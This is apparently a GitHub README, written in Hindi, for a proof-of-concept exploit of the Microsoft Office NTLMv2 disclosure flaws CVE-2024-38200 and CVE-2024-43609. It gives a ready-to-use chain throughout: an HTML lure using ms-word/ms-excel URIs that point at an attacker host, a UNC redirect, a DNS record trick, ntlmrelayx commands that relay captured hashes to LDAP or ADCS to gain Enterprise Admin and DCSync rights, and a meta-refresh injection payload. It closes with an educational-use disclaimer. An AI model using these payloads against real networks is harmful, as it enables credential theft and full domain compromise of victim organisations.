passtheticket/cve-2024-38200CVE-2024-38200 & CVE-2024-43609 - Microsoft Office NTLMv2 प्रकटीकरण भेद्यता
HTTP विधि के ऊपर NTLMv2 हैश कैप्चर करना ठीक नहीं किया गया था। NTLMv2 हैश मान अभी भी HTTP के ऊपर प्राप्त किया जा सकता है और LDAP या ADCS पर रिले किया जा सकता है। MSRC ने इस स्थिति को "जैसा प्रस्तुत किया गया है यह वर्तमान डिज़ाइन का हिस्सा प्रतीत होता है" कहा।
भले ही यह भेद्यता ठीक कर दी गई हो, जैसा कि Integrated Windows Authentication अनुभाग में कहा गया है, हैश मान अभी भी डिफ़ॉल्ट सेटिंग्स के साथ प्राप्त और रिले किया जा सकता है।
पहले, Office URI स्कीम्स का उपयोग करके SMB के ऊपर NTLMv2 हैश कैप्चर करने की एक विधि साझा की गई थी। मुख्य विचार सरल था। नीचे दिए गए HTML फ़ाइल का URL पीड़ित को भेजें और SMB के ऊपर NTLMv2 हैश कैप्चर करें। LINK
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
यह मेरे लिए प्रेरणा बिंदु है। यदि हम Office URI Schemes पृष्ठ देखें, तो हम URI स्कीम के भीतर https:// प्रोटोकॉल का उपयोग देख सकते हैं। यह स्थिति इंगित करती है कि http:// का भी संभावित रूप से उपयोग किया जा सकता है। डोमेन कंट्रोलर सर्वर के विरुद्ध NTLM रिलेइंग हमला करने के लिए HTTP के ऊपर NTLMv2 हैश कैप्चर करना SMB के ऊपर कैप्चर करने की तुलना में अधिक लाभप्रद है Relaying Chart।
जब मैंने ms-word:ofe|u|http://test.local:8080/leak/leak.docx URI का उपयोग Office 2016 MSO (16.0.4266.1001) 32-bit के विरुद्ध किया, तो उपयोगकर्ता को दुर्भावनापूर्ण गतिविधि से बचाने के लिए एक चेतावनी बॉक्स दिखाई दिया, लेकिन मैं Microsoft 365 Office और Office 2019 के लिए ऐसा नहीं कह सकता। ये संस्करण बिना चेतावनी के किसी दूरस्थ Office फ़ाइल तक पहुंचते हैं और SMB और HTTP प्रोटोकॉल के ऊपर NTLMv2 हैश कैप्चर करने के लिए उनका शोषण किया जा सकता है।
मैंने पाया कि CVE-2024-38200 के लिए पैच सही ढंग से लागू नहीं किया गया था। पैच प्रकाशित होने के बाद, मैंने Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) और Microsoft 365 MSO 2408 Build 16.0.17928.20114 के विरुद्ध भेद्यता का परीक्षण किया और निर्धारित किया कि भेद्यता का अभी भी शोषण किया जा सकता है जैसा कि नीचे दिखाया गया है CVE-2024-43609 ।
जब कोई Office एप्लिकेशन Office URI स्कीम्स (e.g., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx) के माध्यम से अनुरोध करता है, तो हम HTTP अनुरोध को 302 रीडायरेक्ट के साथ UNC पथ पर रीडायरेक्ट कर सकते हैं। uncredirect.py स्क्रिप्ट HTTP अनुरोध को संभालती है जो MS Office URI स्कीमा के साथ भेजा जाता है और इसे UNC पथ पर रीडायरेक्ट करती है जिसमें Responder का IP पता शामिल होता है। यह स्थिति SMB के ऊपर NTLMv2 हैश कैप्चर करना संभव बनाएगी और ms-word:ofe|u|\\<responder ip>\leak\leak.docx URI के लिए सुरक्षा प्रतिबंध को बायपास कर देगी।
uncredirect.py और responder चालू करें।office.html फ़ाइल का URL पीड़ित उपयोगकर्ता को भेजें।https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
LDAP रिले करने के लिए HTTP के ऊपर NTLMv2 हैश कैप्चर करना SMB के ऊपर कैप्चर करने की तुलना में अधिक लाभप्रद है। जब किसी Office URI के माध्यम से फ़ाइल का अनुरोध किया जाता है, तो NTLMv2 हैश 302 रीडायरेक्ट का उपयोग करके UNC पथ पर रीडायरेक्ट किए बिना HTTP के ऊपर प्राप्त किया जा सकता है। यह शोषण विधि इंटरनेट पर नहीं की जा सकती क्योंकि, जब तक इंटरनेट प्रॉपर्टीज़ में कोई गलत कॉन्फ़िगरेशन न हो, कॉर्पोरेट नेटवर्क के बाहर किसी होस्ट के लिए HTTP के ऊपर NTLM प्रमाणीकरण नहीं होगा।
हालाँकि, मेरा मानना है कि यह रिलेइंग हमले और विशेषाधिकारों को बढ़ाने के लिए एक प्रभावी तरीका है।
"इंटरनेट प्रॉपर्टीज़" सेटिंग्स Office अनुप्रयोगों के NTLM प्रमाणीकरण व्यवहार को प्रभावित करती हैं। हम इसे कुछ उदाहरणों के साथ देख सकते हैं। मान लें कि हम NTLMv2 हैश कैप्चर करने के लिए ms-excel:ofe|u|http://192.168.1.7/leak.xlsx URI प्रारूप का उपयोग कर रहे हैं।
जब नीचे सूचीबद्ध GPO में से एक डोमेन-जॉइन की गई पीड़ित मशीन पर लागू किया जाता है, तो Office एप्लिकेशन स्वचालित रूप से प्रमाणीकरण करता है।
इंटरनेट ज़ोन में यूज़र ऑथेंटिकेशन के लिए Automatic logon with current user name and password सेट हैLocal Intranet की साइटों में एक सबनेट या IP पता श्रेणी जोड़ी गई है (e.g., 192.168.*.* , 192.168.0-255.* , 192.168.1.7)Trusted sites में एक सबनेट या IP पता श्रेणी जोड़ी गई है (e.g., 192.168.*.* , 192.168.0-255.* , 192.168.1.7) और Trusted Sites ज़ोन में यूज़र ऑथेंटिकेशन के लिए Automatic logon with current user name and password सेट है
ऐसे मामले में जहां ऊपर उल्लिखित GPO में से एक लागू किया गया है, पीड़ित उपयोगकर्ता द्वारा URI पर क्लिक करने के बाद, leak.docx फ़ाइल Office एप्लिकेशन द्वारा हमलावर के सर्वर से लाई जाएगी और NTLMv2 हैश प्राप्त होगा क्योंकि लागू GPO के कारण NTLM प्रमाणीकरण स्वचालित रूप से होता है।
GPO का दुरुपयोग करने के लिए उदाहरण परिदृश्य:
Office URI को IP पते के साथ सेट करने के बाद (e.g., ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), हम office.html का URL डोमेन एडमिन विशेषाधिकारों वाले उपयोगकर्ता को भेज सकते हैं और ntlmrelayx का उपयोग करके कैप्चर किए गए हैश को LDAP(S) सर्वर पर रिले कर सकते हैं। केवल "Open" बटन पर क्लिक करने से ntlmrelayx एक नया उपयोगकर्ता बनाएगा और उसे Enterprise Admins समूह में जोड़ देगा।
नोट:
GPO के माध्यम से जोड़ी गई साइटों को निम्नलिखित रजिस्ट्री कुंजियों का उपयोग करके सूचीबद्ध किया जा सकता है।
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: इंटरनेट | 1: लोकल इंट्रानेट | 2: विश्वसनीय साइटें | 3: प्रतिबंधित साइटें
यदि ऊपर उल्लिखित GPO में से एक लागू नहीं है, तो NTLM प्रमाणीकरण स्वचालित रूप से नहीं होगा। हालाँकि, यदि हम एक DNS A रिकॉर्ड जोड़ते हैं और इस रिकॉर्ड का उपयोग Office URI के भीतर करते हैं, तो Windows होस्टनाम को इंट्रानेट ज़ोन का हिस्सा मानेगा। इस तरह, NTLMv2 प्रमाणीकरण स्वचालित रूप से होता है और एक सामान्य उपयोगकर्ता गलत कॉन्फ़िगर किए गए GPO की आवश्यकता के बिना विशेषाधिकार बढ़ा सकता है। सामान्य विशेषाधिकारों वाला कोई भी डोमेन उपयोगकर्ता एक गैर-मौजूद DNS रिकॉर्ड जोड़ सकता है इसलिए यह हमला डिफ़ॉल्ट सेटिंग्स के साथ डोमेन उपयोगकर्ता के लिए काम करता है।
office.html फ़ाइल को पीड़ित उपयोगकर्ता के लिए सुलभ किसी भी सर्वर से परोसा जा सकता है (e.g., https://office.com/office.html) । मैंने Apache के लिए पोर्ट 8081 सेट किया क्योंकि ntlmrelayx डिफ़ॉल्ट रूप से पोर्ट 80 का उपयोग करेगा। हम वैकल्पिक रूप से ntlmrelayx के साथ --http-port का उपयोग कर सकते हैं। office.html फ़ाइल के भीतर Office URI में जोड़ा गया रिकॉर्ड दर्ज करें।
ntlmrelayx चालू करें: python3 ntlmrelayx.py -t ldap://DC-IP-ADDRESS --escalate-user username
office.html फ़ाइल का URL डोमेन एडमिन विशेषाधिकारों वाले उपयोगकर्ता को भेजें। URL भेजने से पहले आपको ping कमांड से जांचना चाहिए कि DNS रिकॉर्ड हल हो गया है या नहीं।
जब पीड़ित उपयोगकर्ता URL पर नेविगेट करता है, तो NTLMv2 हैश कैप्चर करने के लिए 'Open' बटन पर क्लिक करना पर्याप्त है। (कोई चेतावनी नहीं!)
HTTP के ऊपर कैप्चर किया गया NTLMv2 हैश ntlmrelayx के साथ डोमेन कंट्रोलर पर रिले किया जाता है। परिणामस्वरूप, एक सामान्य उपयोगकर्ता डिफ़ॉल्ट कॉन्फ़िगरेशन के तहत केवल दो क्लिक के साथ DCSync और Enterprise Admins अनुमतियाँ प्राप्त कर सकता है।
https://github.com/user-attachments/assets/6fdbcd57-16aa-4497-810e-18e0a251e890
https://github.com/user-attachments/assets/22b759f5-1ac2-45bd-8916-714c8a84b40f
नोट-1: यदि कोई डोमेन-जॉइन सर्वर समझौता किया गया है और उस पर inveigh या ntlmrelayx चलाना संभव है, तो DNS रिकॉर्ड जोड़ना आवश्यक नहीं है।
Ntlmrelayx: python3 ntlmrelayx.py -t ldaps://DC-IP-ADDRESS --http-port 8080
Office Uri: ms-excel:ofe|u|http://compromisedservername:8080/leak.xlsx
नोट-2: एक अन्य विकल्प के रूप में, पीड़ित उपयोगकर्ता के हैश को LDAP के बजाय ADCS पर रिले किया जा सकता है:
python3 ntlmrelayx.py -t http://adcs.unsafe.local/certsrv/certfnsh.asp -smb2support --template User --adcs --http-port 80
यह प्रूफ ऑफ कॉन्सेप्ट Microsoft Office 2019 MSO Build 1808 (16.0.10411.20011) और Microsoft 365 MSO (Version 2403 Build 16.0.17425.20176) पर किया गया था।
जिस किसी ने भी किसी इंट्रानेट कॉर्पोरेट वातावरण में Windows का उपयोग किया है, उसने देखा होगा कि नेटवर्क में कॉर्पोरेट संसाधनों तक पहुंच निर्बाध है, और कई मामलों में, प्रारंभिक Windows डोमेन लॉग-ऑन के अलावा क्रेडेंशियल्स के लिए किसी स्पष्ट प्रमाणीकरण संकेत की आवश्यकता नहीं होती है। यह कई सेवाओं के लिए सच है, जैसे नेटवर्क-मैप्ड ड्राइव, इंट्रानेट वेबसाइटें, और भी बहुत कुछ। Microsoft-आधारित ब्राउज़र Internet Explorer और Edge में विश्वसनीय ज़ोन की अवधारणा है: Internet, Local Intranet, Trusted Sites, और Restricted Sites। प्रत्येक ज़ोन का एक अलग सुरक्षा स्तर और संबंधित प्रतिबंध होते हैं। उदाहरण के लिए, Intranet ज़ोन साइटों के लिए, Internet Explorer XSS फ़िल्टर को अक्षम करता है, ActiveX प्लग-इन चलाता है, स्वचालित लॉगिन करता है, और समग्र रूप से Internet साइटों की तुलना में कम सुरक्षा नियंत्रण रखता है। डिफ़ॉल्ट रूप से, जब किसी वेब सर्वर के पास NTLM प्रमाणीकरण द्वारा संरक्षित संसाधन होता है, तो Internet Explorer और Edge स्वचालित रूप से प्रमाणीकरण करेंगे यदि वेबसाइट या तो कॉर्पोरेट इंट्रानेट के भीतर स्थित है या Trusted Sites में श्वेतसूचीबद्ध है, विश्वसनीय ज़ोन की अवधारणा का सम्मान करते हुए। अन्य ब्राउज़र, जैसे Mozilla Firefox और Google Chrome, भी स्वचालित NTLM लॉग-ऑन का समर्थन करते हैं। Chrome Internet Explorer के समान सेटिंग्स पर निर्भर करता है; Firefox के मामले में, यह कॉन्फ़िगरेशन डिफ़ॉल्ट रूप से सक्षम नहीं है और इसे about:config के माध्यम से मैन्युअल रूप से बदलना होगा।
https://www.blazeinfosec.com/post/web-app-vulnerabilities-ntlm-hashes/
किसी दूरस्थ होस्ट को आपसे प्रमाणीकरण करने के लिए, उदाहरण के लिए UNC पथ का अनुसरण करने के परिणामस्वरूप, कुछ शर्तों को पूरा करना होगा। मुख्य रूप से, इंटरनेट जैसे बाहरी नेटवर्कों में हैश लीक होने की संभावना को कम करने के लिए, आपका सिस्टम "local intranet" ज़ोन के भीतर आना चाहिए। इस आवश्यकता को पूरा करने का सबसे आसान तरीका जब आपके पास पहले से ही लक्ष्य के आंतरिक नेटवर्क पर पैर जमाए हुए हैं, अपने सिस्टम के NetBIOS नाम का उपयोग करना है। यानी, यदि आप workstation1.contoso.com पर हैं, तो आपको इसे local intranet ज़ोन में जाने के लिए अपने UNC पथ में workstation1 का उपयोग करना चाहिए।
https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
जैसा कि उल्लेख किया गया है, इंटरनेट प्रॉपर्टीज़ में परिवर्तन Edge और Chrome ब्राउज़रों के NTLM प्रमाणीकरण व्यवहार को भी प्रभावित करते हैं। ये ब्राउज़र स्वचालित NTLM प्रमाणीकरण का समर्थन करते हैं और Windows मानता है कि इंट्रानेट ज़ोन के भीतर NetBIOS नाम के साथ एक HTTP कनेक्शन है और NTLM प्रमाणीकरण करता है। मुझे बाद में एहसास हुआ कि, जैसा कि PoC में संकेत दिया गया है, यदि कोई DNS रिकॉर्ड बनाया जाता है और NetBIOS नाम वाला URL (e.g., http://kali14/notexist.html ) किसी उपयोगकर्ता को भेजा जाता है, तो URL को Edge या Chrome ब्राउज़रों में नेविगेट किए जाने पर उपयोगकर्ता के NTLMv2 हैश को कैप्चर और रिले करना संभव है। यदि हम विशेषाधिकार प्राप्त उपयोगकर्ता के NTLMv2 हैश को ntlmrelayx के साथ LDAP(s) पर रिले करते हैं, तो हम डिफ़ॉल्ट सेटिंग्स के साथ डोमेन में विशेषाधिकार बढ़ा सकते हैं।
Edge:
Chrome:
लिंक को उपयोगकर्ता को भेजने के बजाय, NTLMv2 हैश कैप्चर करने के लिए HTML इंजेक्शन का उपयोग किया जा सकता है:
kali14 नाम के साथ एक DNS रिकॉर्ड बनाएं<meta http-equiv="refresh" content="0; url=http://kali14/notexist.html">
Include all local (intranet) sites not listed in other zones विकल्प को अनचेक करें। यह विकल्प डिफ़ॉल्ट रूप से चयनित होता है। 
नोट: यह एक्सप्लॉइट केवल शैक्षिक और शोध उद्देश्यों के लिए प्रदान किया गया है। लेखक इस एक्सप्लॉइट के अनुप्रयोग से होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है। इस कोड का अनधिकृत उपयोग उन वातावरणों में जहां आपके पास स्पष्ट अनुमति नहीं है, अवैध और अनैतिक है।